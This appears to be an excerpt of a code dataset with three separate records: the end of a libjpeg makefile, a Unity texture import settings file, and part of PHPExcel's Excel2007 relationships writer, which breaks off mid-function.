\\\n makefile.bcc makefile.mc6 makefile.dj makefile.wat makefile.vc \\\n makejdsw.vc6 makeadsw.vc6 makejdep.vc6 makejdsp.vc6 makejmak.vc6 \\\n makecdep.vc6 makecdsp.vc6 makecmak.vc6 makeddep.vc6 makeddsp.vc6 \\\n makedmak.vc6 maketdep.vc6 maketdsp.vc6 maketmak.vc6 makerdep.vc6 \\\n makerdsp.vc6 makermak.vc6 makewdep.vc6 makewdsp.vc6 makewmak.vc6 \\\n makejsln.v10 makeasln.v10 makejvcx.v10 makejfil.v10 makecvcx.v10 \\\n makecfil.v10 makedvcx.v10 makedfil.v10 maketvcx.v10 maketfil.v10 \\\n makervcx.v10 makerfil.v10 makewvcx.v10 makewfil.v10 makeproj.mac \\\n makcjpeg.st makdjpeg.st makljpeg.st maktjpeg.st makefile.manx \\\n makefile.sas makefile.mms makefile.vms makvms.opt\nCONFIGFILES= jconfig.cfg jconfig.bcc jconfig.mc6 jconfig.dj jconfig.wat \\\n jconfig.vc jconfig.mac jconfig.st jconfig.manx jconfig.sas \\\n jconfig.vms\nCONFIGUREFILES= config.guess config.sub install-sh ltmain.sh depcomp \\\n missing ar-lib\nOTHERFILES= jconfig.txt ckconfig.c jmemdosa.asm libjpeg.map\nTESTFILES= testorig.jpg testimg.ppm testimg.bmp testimg.jpg testprog.jpg \\\n testimgp.jpg\nDISTFILES= $(DOCS) $(MKFILES) $(CONFIGFILES) $(SOURCES) $(INCLUDES) \\\n $(CONFIGUREFILES) $(OTHERFILES) $(TESTFILES)\n# library object files common to compression and decompression\nCOMOBJECTS= jaricom.o jcomapi.o jutils.o jerror.o jmemmgr.o $(SYSDEPMEM)\n# compression library object files\nCLIBOBJECTS= jcapimin.o jcapistd.o jcarith.o jctrans.o jcparam.o \\\n jdatadst.o jcinit.o jcmaster.o jcmarker.o jcmainct.o jcprepct.o \\\n jccoefct.o jccolor.o jcsample.o jchuff.o jcdctmgr.o jfdctfst.o \\\n jfdctflt.o jfdctint.o\n# decompression library object files\nDLIBOBJECTS= jdapimin.o jdapistd.o jdarith.o jdtrans.o jdatasrc.o \\\n jdmaster.o jdinput.o jdmarker.o jdhuff.o jdmainct.o \\\n jdcoefct.o jdpostct.o jddctmgr.o jidctfst.o jidctflt.o \\\n jidctint.o jdsample.o jdcolor.o jquant1.o jquant2.o jdmerge.o\n# These objectfiles are included in libjpeg.a\nLIBOBJECTS= $(CLIBOBJECTS) $(DLIBOBJECTS) $(COMOBJECTS)\n# object files for sample applications (excluding library files)\nCOBJECTS= cjpeg.o rdppm.o rdgif.o rdtarga.o rdrle.o rdbmp.o rdswitch.o \\\n cdjpeg.o\nDOBJECTS= djpeg.o wrppm.o wrgif.o wrtarga.o wrrle.o wrbmp.o rdcolmap.o \\\n cdjpeg.o\nTROBJECTS= jpegtran.o rdswitch.o cdjpeg.o transupp.o\n\n\nall: ansi2knr libjpeg.a cjpeg djpeg jpegtran rdjpgcom wrjpgcom\n\n# This rule causes ansi2knr to be invoked.\n.c.o:\n\t./ansi2knr $*.c T$*.c\n\t$(CC) $(CFLAGS) -c T$*.c\n\t$(RM) T$*.c $*.o\n\t$(MV) T$*.o $*.o\n\nansi2knr: ansi2knr.c\n\t$(CC) $(CFLAGS) $(ANSI2KNRFLAGS) -o ansi2knr ansi2knr.c\n\nlibjpeg.a: ansi2knr $(LIBOBJECTS)\n\t$(RM) libjpeg.a\n\t$(AR) libjpeg.a $(LIBOBJECTS)\n\t$(AR2) libjpeg.a\n\ncjpeg: ansi2knr $(COBJECTS) libjpeg.a\n\t$(LN) $(LDFLAGS) -o cjpeg $(COBJECTS) libjpeg.a $(LDLIBS)\n\ndjpeg: ansi2knr $(DOBJECTS) libjpeg.a\n\t$(LN) $(LDFLAGS) -o djpeg $(DOBJECTS) libjpeg.a $(LDLIBS)\n\njpegtran: ansi2knr $(TROBJECTS) libjpeg.a\n\t$(LN) $(LDFLAGS) -o jpegtran $(TROBJECTS) libjpeg.a $(LDLIBS)\n\nrdjpgcom: rdjpgcom.o\n\t$(LN) $(LDFLAGS) -o rdjpgcom rdjpgcom.o $(LDLIBS)\n\nwrjpgcom: wrjpgcom.o\n\t$(LN) $(LDFLAGS) -o wrjpgcom wrjpgcom.o $(LDLIBS)\n\njconfig.h: jconfig.txt\n\techo You must prepare a system-dependent jconfig.h file.\n\techo Please read the installation directions in install.txt.\n\texit 1\n\nclean:\n\t$(RM) *.o cjpeg djpeg jpegtran libjpeg.a rdjpgcom wrjpgcom\n\t$(RM) ansi2knr core testout*\n\ntest: cjpeg djpeg jpegtran\n\t$(RM) testout*\n\t./djpeg -dct int -ppm -outfile testout.ppm testorig.jpg\n\t./djpeg -dct int -bmp -colors 256 -outfile testout.bmp testorig.jpg\n\t./cjpeg -dct int -outfile testout.jpg testimg.ppm\n\t./djpeg -dct int -ppm -outfile testoutp.ppm testprog.jpg\n\t./cjpeg -dct int -progressive -opt -outfile testoutp.jpg testimg.ppm\n\t./jpegtran -outfile testoutt.jpg testprog.jpg\n\tcmp testimg.ppm testout.ppm\n\tcmp testimg.bmp testout.bmp\n\tcmp testimg.jpg testout.jpg\n\tcmp testimg.ppm testoutp.ppm\n\tcmp testimgp.jpg testoutp.jpg\n\tcmp testorig.jpg testoutt.jpg\n\n\njaricom.o: jaricom.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcapimin.o: jcapimin.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcapistd.o: jcapistd.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcarith.o: jcarith.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njccoefct.o: jccoefct.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njccolor.o: jccolor.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcdctmgr.o: jcdctmgr.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njchuff.o: jchuff.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcinit.o: jcinit.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcmainct.o: jcmainct.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcmarker.o: jcmarker.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcmaster.o: jcmaster.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcomapi.o: jcomapi.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcparam.o: jcparam.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcprepct.o: jcprepct.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njcsample.o: jcsample.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njctrans.o: jctrans.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdapimin.o: jdapimin.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdapistd.o: jdapistd.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdarith.o: jdarith.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdatadst.o: jdatadst.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h\njdatasrc.o: jdatasrc.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h\njdcoefct.o: jdcoefct.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdcolor.o: jdcolor.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njddctmgr.o: jddctmgr.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njdhuff.o: jdhuff.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdinput.o: jdinput.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdmainct.o: jdmainct.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdmarker.o: jdmarker.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdmaster.o: jdmaster.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdmerge.o: jdmerge.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdpostct.o: jdpostct.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdsample.o: jdsample.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njdtrans.o: jdtrans.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njerror.o: jerror.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jversion.h jerror.h\njfdctflt.o: jfdctflt.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njfdctfst.o: jfdctfst.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njfdctint.o: jfdctint.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njidctflt.o: jidctflt.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njidctfst.o: jidctfst.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njidctint.o: jidctint.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jdct.h\njquant1.o: jquant1.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njquant2.o: jquant2.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njutils.o: jutils.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h\njmemmgr.o: jmemmgr.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jmemsys.h\njmemansi.o: jmemansi.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jmemsys.h\njmemname.o: jmemname.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jmemsys.h\njmemnobs.o: jmemnobs.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jmemsys.h\njmemdos.o: jmemdos.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jmemsys.h\njmemmac.o: jmemmac.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h jmemsys.h\ncjpeg.o: cjpeg.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h jversion.h\ndjpeg.o: djpeg.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h jversion.h\njpegtran.o: jpegtran.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h transupp.h jversion.h\nrdjpgcom.o: rdjpgcom.c jinclude.h jconfig.h\nwrjpgcom.o: wrjpgcom.c jinclude.h jconfig.h\ncdjpeg.o: cdjpeg.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nrdcolmap.o: rdcolmap.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nrdswitch.o: rdswitch.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\ntransupp.o: transupp.c jinclude.h jconfig.h jpeglib.h jmorecfg.h jpegint.h jerror.h transupp.h\nrdppm.o: rdppm.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nwrppm.o: wrppm.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nrdgif.o: rdgif.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nwrgif.o: wrgif.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nrdtarga.o: rdtarga.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nwrtarga.o: wrtarga.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nrdbmp.o: rdbmp.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nwrbmp.o: wrbmp.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nrdrle.o: rdrle.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\nwrrle.o: wrrle.c cdjpeg.h jinclude.h jconfig.h jpeglib.h jmorecfg.h jerror.h cderror.h\n"} +{"text": "fileFormatVersion: 2\nguid: 5ae8c4ac87bef24459cdca4de449bc90\nTextureImporter:\n fileIDToRecycleName: {}\n externalObjects: {}\n serializedVersion: 9\n mipmaps:\n mipMapMode: 0\n enableMipMap: 1\n sRGBTexture: 1\n linearTexture: 0\n fadeOut: 0\n borderMipMap: 0\n mipMapsPreserveCoverage: 0\n alphaTestReferenceValue: 0.5\n mipMapFadeDistanceStart: 1\n mipMapFadeDistanceEnd: 3\n bumpmap:\n convertToNormalMap: 0\n externalNormalMap: 0\n heightScale: 0.25\n normalMapFilter: 0\n isReadable: 0\n streamingMipmaps: 0\n streamingMipmapsPriority: 0\n grayScaleToAlpha: 0\n generateCubemap: 6\n cubemapConvolution: 0\n seamlessCubemap: 0\n textureFormat: -1\n maxTextureSize: 2048\n textureSettings:\n serializedVersion: 2\n filterMode: -1\n aniso: 16\n mipBias: -100\n wrapU: 1\n wrapV: 1\n wrapW: 1\n nPOTScale: 0\n lightmap: 0\n compressionQuality: 50\n spriteMode: 1\n spriteExtrude: 1\n spriteMeshType: 1\n alignment: 0\n spritePivot: {x: 0.5, y: 0.5}\n spritePixelsToUnits: 100\n spriteBorder: {x: 0, y: 0, z: 0, w: 0}\n spriteGenerateFallbackPhysicsShape: 1\n alphaUsage: 1\n alphaIsTransparency: 1\n spriteTessellationDetail: -1\n textureType: 8\n textureShape: 1\n singleChannelComponent: 0\n maxTextureSizeSet: 0\n compressionQualitySet: 0\n textureFormatSet: 0\n platformSettings:\n - serializedVersion: 2\n buildTarget: DefaultTexturePlatform\n maxTextureSize: 2048\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 1\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 0\n overridden: 0\n androidETC2FallbackOverride: 0\n - serializedVersion: 2\n buildTarget: iPhone\n maxTextureSize: 2048\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 1\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 1\n overridden: 1\n androidETC2FallbackOverride: 0\n - serializedVersion: 2\n buildTarget: Android\n maxTextureSize: 2048\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 1\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 1\n overridden: 1\n androidETC2FallbackOverride: 0\n spriteSheet:\n serializedVersion: 2\n sprites: []\n outline: []\n physicsShape: []\n bones: []\n spriteID: a130f335aedad41418d952cd8cfffe6e\n vertices: []\n indices: \n edges: []\n weights: []\n spritePackingTag: Hyper\n pSDRemoveMatte: 0\n pSDShowRemoveMatteOption: 0\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "getParentWriter()->getUseDiskCaching()) {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory());\n\t\t} else {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY);\n\t\t}\n\n\t\t// XML header\n\t\t$objWriter->startDocument('1.0','UTF-8','yes');\n\n\t\t// Relationships\n\t\t$objWriter->startElement('Relationships');\n\t\t$objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships');\n\n\t\t\t$customPropertyList = $pPHPExcel->getProperties()->getCustomProperties();\n\t\t\tif (!empty($customPropertyList)) {\n\t\t\t\t// Relationship docProps/app.xml\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t4,\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom-properties',\n\t\t\t\t\t'docProps/custom.xml'\n\t\t\t\t);\n\n\t\t\t}\n\n\t\t\t// Relationship docProps/app.xml\n\t\t\t$this->_writeRelationship(\n\t\t\t\t$objWriter,\n\t\t\t\t3,\n\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties',\n\t\t\t\t'docProps/app.xml'\n\t\t\t);\n\n\t\t\t// Relationship docProps/core.xml\n\t\t\t$this->_writeRelationship(\n\t\t\t\t$objWriter,\n\t\t\t\t2,\n\t\t\t\t'http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties',\n\t\t\t\t'docProps/core.xml'\n\t\t\t);\n\n\t\t\t// Relationship xl/workbook.xml\n\t\t\t$this->_writeRelationship(\n\t\t\t\t$objWriter,\n\t\t\t\t1,\n\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument',\n\t\t\t\t'xl/workbook.xml'\n\t\t\t);\n\n\t\t$objWriter->endElement();\n\n\t\t// Return\n\t\treturn $objWriter->getData();\n\t}\n\n\t/**\n\t * Write workbook relationships to XML format\n\t *\n\t * @param \tPHPExcel\t$pPHPExcel\n\t * @return \tstring \t\tXML Output\n\t * @throws \tPHPExcel_Writer_Exception\n\t */\n\tpublic function writeWorkbookRelationships(PHPExcel $pPHPExcel = null)\n\t{\n\t\t// Create XML writer\n\t\t$objWriter = null;\n\t\tif ($this->getParentWriter()->getUseDiskCaching()) {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory());\n\t\t} else {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY);\n\t\t}\n\n\t\t// XML header\n\t\t$objWriter->startDocument('1.0','UTF-8','yes');\n\n\t\t// Relationships\n\t\t$objWriter->startElement('Relationships');\n\t\t$objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships');\n\n\t\t\t// Relationship styles.xml\n\t\t\t$this->_writeRelationship(\n\t\t\t\t$objWriter,\n\t\t\t\t1,\n\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles',\n\t\t\t\t'styles.xml'\n\t\t\t);\n\n\t\t\t// Relationship theme/theme1.xml\n\t\t\t$this->_writeRelationship(\n\t\t\t\t$objWriter,\n\t\t\t\t2,\n\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme',\n\t\t\t\t'theme/theme1.xml'\n\t\t\t);\n\n\t\t\t// Relationship sharedStrings.xml\n\t\t\t$this->_writeRelationship(\n\t\t\t\t$objWriter,\n\t\t\t\t3,\n\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings',\n\t\t\t\t'sharedStrings.xml'\n\t\t\t);\n\n\t\t\t// Relationships with sheets\n\t\t\t$sheetCount = $pPHPExcel->getSheetCount();\n\t\t\tfor ($i = 0; $i < $sheetCount; ++$i) {\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t($i + 1 + 3),\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet',\n\t\t\t\t\t'worksheets/sheet' . ($i + 1) . '.xml'\n\t\t\t\t);\n\t\t\t}\n\n\t\t$objWriter->endElement();\n\n\t\t// Return\n\t\treturn $objWriter->getData();\n\t}\n\n\t/**\n\t * Write worksheet relationships to XML format\n\t *\n\t * Numbering is as follows:\n\t * \trId1 \t\t\t\t- Drawings\n\t * rId_hyperlink_x \t- Hyperlinks\n\t *\n\t * @param \tPHPExcel_Worksheet\t$pWorksheet\n\t * @param \tint\t\t\t\t\t$pWorksheetId\n\t * @param\tboolean\t\t\t\t$includeCharts\tFlag indicating if we should write charts\n\t * @return \tstring \t\t\t\tXML Output\n\t * @throws \tPHPExcel_Writer_Exception\n\t */\n\tpublic function writeWorksheetRelationships(PHPExcel_Worksheet $pWorksheet = null, $pWorksheetId = 1, $includeCharts = FALSE)\n\t{\n\t\t// Create XML writer\n\t\t$objWriter = null;\n\t\tif ($this->getParentWriter()->getUseDiskCaching()) {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory());\n\t\t} else {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY);\n\t\t}\n\n\t\t// XML header\n\t\t$objWriter->startDocument('1.0','UTF-8','yes');\n\n\t\t// Relationships\n\t\t$objWriter->startElement('Relationships');\n\t\t$objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships');\n\n\t\t\t// Write drawing relationships?\n\t\t\t$d = 0;\n\t\t\tif ($includeCharts) {\n\t\t\t\t$charts = $pWorksheet->getChartCollection();\n\t\t\t} else {\n\t\t\t\t$charts = array();\n\t\t\t}\n\t\t\tif (($pWorksheet->getDrawingCollection()->count() > 0) ||\n\t\t\t\t(count($charts) > 0)) {\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t++$d,\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/drawing',\n\t\t\t\t\t'../drawings/drawing' . $pWorksheetId . '.xml'\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Write chart relationships?\n//\t\t\t$chartCount = 0;\n//\t\t\t$charts = $pWorksheet->getChartCollection();\n//\t\t\techo 'Chart Rels: ' , count($charts) , '
    ';\n//\t\t\tif (count($charts) > 0) {\n//\t\t\t\tforeach($charts as $chart) {\n//\t\t\t\t\t$this->_writeRelationship(\n//\t\t\t\t\t\t$objWriter,\n//\t\t\t\t\t\t++$d,\n//\t\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart',\n//\t\t\t\t\t\t'../charts/chart' . ++$chartCount . '.xml'\n//\t\t\t\t\t);\n//\t\t\t\t}\n//\t\t\t}\n//\n\t\t\t// Write hyperlink relationships?\n\t\t\t$i = 1;\n\t\t\tforeach ($pWorksheet->getHyperlinkCollection() as $hyperlink) {\n\t\t\t\tif (!$hyperlink->isInternal()) {\n\t\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t\t$objWriter,\n\t\t\t\t\t\t'_hyperlink_' . $i,\n\t\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink',\n\t\t\t\t\t\t$hyperlink->getUrl(),\n\t\t\t\t\t\t'External'\n\t\t\t\t\t);\n\n\t\t\t\t\t++$i;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Write comments relationship?\n\t\t\t$i = 1;\n\t\t\tif (count($pWorksheet->getComments()) > 0) {\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t'_comments_vml' . $i,\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing',\n\t\t\t\t\t'../drawings/vmlDrawing' . $pWorksheetId . '.vml'\n\t\t\t\t);\n\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t'_comments' . $i,\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments',\n\t\t\t\t\t'../comments' . $pWorksheetId . '.xml'\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Write header/footer relationship?\n\t\t\t$i = 1;\n\t\t\tif (count($pWorksheet->getHeaderFooter()->getImages()) > 0) {\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t'_headerfooter_vml' . $i,\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing',\n\t\t\t\t\t'../drawings/vmlDrawingHF' . $pWorksheetId . '.vml'\n\t\t\t\t);\n\t\t\t}\n\n\t\t$objWriter->endElement();\n\n\t\t// Return\n\t\treturn $objWriter->getData();\n\t}\n\n\t/**\n\t * Write drawing relationships to XML format\n\t *\n\t * @param \tPHPExcel_Worksheet\t$pWorksheet\n\t * @param\tint\t\t\t\t\t&$chartRef\t\tChart ID\n\t * @param\tboolean\t\t\t\t$includeCharts\tFlag indicating if we should write charts\n\t * @return \tstring \t\t\t\tXML Output\n\t * @throws \tPHPExcel_Writer_Exception\n\t */\n\tpublic function writeDrawingRelationships(PHPExcel_Worksheet $pWorksheet = null, &$chartRef, $includeCharts = FALSE)\n\t{\n\t\t// Create XML writer\n\t\t$objWriter = null;\n\t\tif ($this->getParentWriter()->getUseDiskCaching()) {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory());\n\t\t} else {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY);\n\t\t}\n\n\t\t// XML header\n\t\t$objWriter->startDocument('1.0','UTF-8','yes');\n\n\t\t// Relationships\n\t\t$objWriter->startElement('Relationships');\n\t\t$objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships');\n\n\t\t\t// Loop through images and write relationships\n\t\t\t$i = 1;\n\t\t\t$iterator = $pWorksheet->getDrawingCollection()->getIterator();\n\t\t\twhile ($iterator->valid()) {\n\t\t\t\tif ($iterator->current() instanceof PHPExcel_Worksheet_Drawing\n\t\t\t\t\t|| $iterator->current() instanceof PHPExcel_Worksheet_MemoryDrawing) {\n\t\t\t\t\t// Write relationship for image drawing\n\t\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t\t$objWriter,\n\t\t\t\t\t\t$i,\n\t\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image',\n\t\t\t\t\t\t'../media/' . str_replace(' ', '', $iterator->current()->getIndexedFilename())\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\t$iterator->next();\n\t\t\t\t++$i;\n\t\t\t}\n\n\t\t\tif ($includeCharts) {\n\t\t\t\t// Loop through charts and write relationships\n\t\t\t\t$chartCount = $pWorksheet->getChartCount();\n\t\t\t\tif ($chartCount > 0) {\n\t\t\t\t\tfor ($c = 0; $c < $chartCount; ++$c) {\n\t\t\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t\t\t$objWriter,\n\t\t\t\t\t\t\t$i++,\n\t\t\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart',\n\t\t\t\t\t\t\t'../charts/chart' . ++$chartRef . '.xml'\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t$objWriter->endElement();\n\n\t\t// Return\n\t\treturn $objWriter->getData();\n\t}\n\n\t/**\n\t * Write header/footer drawing relationships to XML format\n\t *\n\t * @param \tPHPExcel_Worksheet\t\t\t$pWorksheet\n\t * @return \tstring \t\t\t\t\t\tXML Output\n\t * @throws \tPHPExcel_Writer_Exception\n\t */\n\tpublic function writeHeaderFooterDrawingRelationships(PHPExcel_Worksheet $pWorksheet = null)\n\t{\n\t\t// Create XML writer\n\t\t$objWriter = null;\n\t\tif ($this->getParentWriter()->getUseDiskCaching()) {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory());\n\t\t} else {\n\t\t\t$objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY);\n\t\t}\n\n\t\t// XML header\n\t\t$objWriter->startDocument('1.0','UTF-8','yes');\n\n\t\t// Relationships\n\t\t$objWriter->startElement('Relationships');\n\t\t$objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships');\n\n\t\t\t// Loop through images and write relationships\n\t\t\tforeach ($pWorksheet->getHeaderFooter()->getImages() as $key => $value) {\n\t\t\t\t// Write relationship for image drawing\n\t\t\t\t$this->_writeRelationship(\n\t\t\t\t\t$objWriter,\n\t\t\t\t\t$key,\n\t\t\t\t\t'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image',\n\t\t\t\t\t'../media/' . $value->getIndexedFilename()\n\t\t\t\t);\n\t\t\t}\n\n\t\t$objWriter->endElement();\n\n\t\t// Return\n\t\treturn $objWriter->getData();\n\t}\n\n\t/**\n\t * Write Override content type\n\t *\n\t * @param \tPHPExcel_Shared_XMLWriter \t$objWriter \t\tXML Writer\n\t * @param \tint\t\t\t\t\t\t\t$pId\t\t\tRelationship ID. rId will be prepended!\n\t * @param \tstring\t\t\t\t\t\t$pType\t\t\tRelationship type\n\t * @param \tstring \t\t\t\t\t\t$pTarget\t\tRelationship target\n\t * @param \tstring \t\t\t\t\t\t$pTargetMode\tRelationship target mode\n\t * @throws \tPHPExcel_Writer_Exception\n\t */\n\tprivate function _writeRelationship(PHPExcel_Shared_XMLWriter $objWriter = null, $pId = 1, $pType = '', $pTarget = '', $pTargetMode = 